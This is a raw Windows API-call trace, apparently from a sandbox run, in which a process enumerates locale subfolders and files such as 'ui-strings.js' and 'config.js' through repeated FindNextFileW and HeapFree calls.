	[0164.824] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0164.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.824] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0164.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.827] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0164.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.829] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0164.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.830] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0164.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.870] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0164.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.870] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0164.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.870] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0164.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.870] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0164.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.871] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0164.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.871] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0164.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.871] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0164.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.871] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0164.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.872] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0164.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.872] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0164.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.872] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0164.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.872] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0164.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.873] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0164.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.873] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0164.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.873] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0164.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.873] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0164.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.874] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0164.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.874] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0164.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.874] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0164.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.875] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0164.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0164.876] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0164.876] FindClose (in: hFindFile=0x394bb78 | out: hFindFile=0x394bb78) returned 1
	[0164.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.876] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0164.876] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0164.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0164.877] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0164.877] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0164.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0164.877] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1
	[0164.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0164.877] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0164.878] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0164.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0164.878] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1
	[0165.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.150] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0165.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.151] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0165.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.151] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0165.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.151] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0165.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.151] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0165.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0165.152] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0165.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
